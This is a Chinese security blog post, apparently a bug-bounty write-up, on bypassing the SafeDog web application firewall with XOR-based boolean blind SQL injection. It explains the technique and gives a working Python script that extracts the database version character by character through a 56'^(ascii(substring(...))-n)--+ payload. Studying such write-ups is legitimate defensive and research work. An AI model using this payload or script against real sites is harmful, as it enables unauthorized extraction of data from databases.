您的位置 首页 网络安全

BYPASS安全狗-我也很“异或”

BYPASS安全狗-我也很“异或” 我这个菜鸡当然只会垃圾的sql注入,getshell是不可能的这辈子都是不…

BYPASS安全狗-我也很“异或”

我这个菜鸡当然只会垃圾的sql注入,getshell是不可能的这辈子都是不可能的,不多废话,上菜。

一如既往的输入框输入单引号,昂?报错

机会来了,马上闭合注释,运气不错,没过滤这些

正当我想继续深入下一阶段的时候,那令人厌恶的safedog出现了

一顿操作,and or || && 都给我ban的死死的,正当我以为无计可施的时候,atao师傅提醒了我,试试异或注入

那么就先讲讲异或注入吧,简单的演示简单的用例

异或1

异或0

也就是说异或0就会还是本身

异或-1则不存在

因为是bool盲注,那么我们就可以这么操作,这里举个例子

可以看到异或1不存在,所以可以这么构造0

再拓展

这里如果需要构造出0,那就只能减s的ascii码值,s的ascii码值为115

异或注入分析大概就是这样,然后去测试,就让我也疑惑了,这异或就很疑惑

当我测试id为56的时候服务器500错误

也就是说id为56的数据不存在,但是当输入 56^0 的时候竟然又存在!!!例如测试数据库的第一个字符

例如这里 当减100时,56^-1等于一个不存在的内容,所以就回显500,因为异或-1肯定不存在,也就判断出了数据库名称的第一个字母是c也就是ascii码的99

我敢确定第一个数据库第一个字符是c因为最后我得出的数据库名就是站点的名称,所以这样用是不会错的,但是疑惑的是id为56的数据明明就不存在,为何异或0就存在了呢,这不就推翻了之前的测试?难道mssql和mysql的异或不一样?我有了那么多疑惑,但是又是黑盒测试,咱也不知道人家的sql语句怎么写的,但是又注入的没错,没办法了,也可能是我太菜了,还需要多学习学习,如果弟弟有哪里说错的地方,还望大师傅们指导指导,最后也编写了脚本进行注入

脚本如下:

# -*- coding:utf-8 -*-
import requests
import time
​
url = "http://ip?id="
​
def main():
    result = ""
    for i in range(1, 200):
        low = 31
        high = 128
        while low < high:
            mid = int((low + high) / 2)
            content = "@@version"
            sql = f"56'^(ascii(substring(({content}),{i},1))-{mid})--+"
            response = requests.get(url=url+sql)
            time.sleep(3)
            if response.status_code == 500:
                high = mid
            else:
                low = mid + 1
            print("[+] After changing we got {} to {}".format(low, high))
        if low == high == 128 or low == high == 31:
            print("[*] Result is: {}".format(result))
            break
        print("[+] Now has {}".format(i))
        result += chr(int((high + low - 1) / 2))
        print("[*] Result now is: {}".format(result))
​
if __name__ == '__main__':
    main()

结果如下

所以说过滤还需严谨,危险函数和字符也需要过滤,但是太严谨了我这个菜鸡不就没得玩了吗?害

终于整了很长时间,到了提交edusrc的时候

本文来自网络,不代表F12sec立场,转载请注明出处:http://www.0dayhack.net/index.php/2145/
spaceman

作者: spaceman

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注

CAPTCHAis initialing...

评论列表(3)

联系我们

联系我们

QQ群:884338047

在线咨询: QQ交谈

邮箱: 2676666667@qq.com

工作时间:周一至周五,9:00-17:30,节假日休息

关注微信
微信扫一扫关注我们

微信扫一扫关注我们

关注微博
返回顶部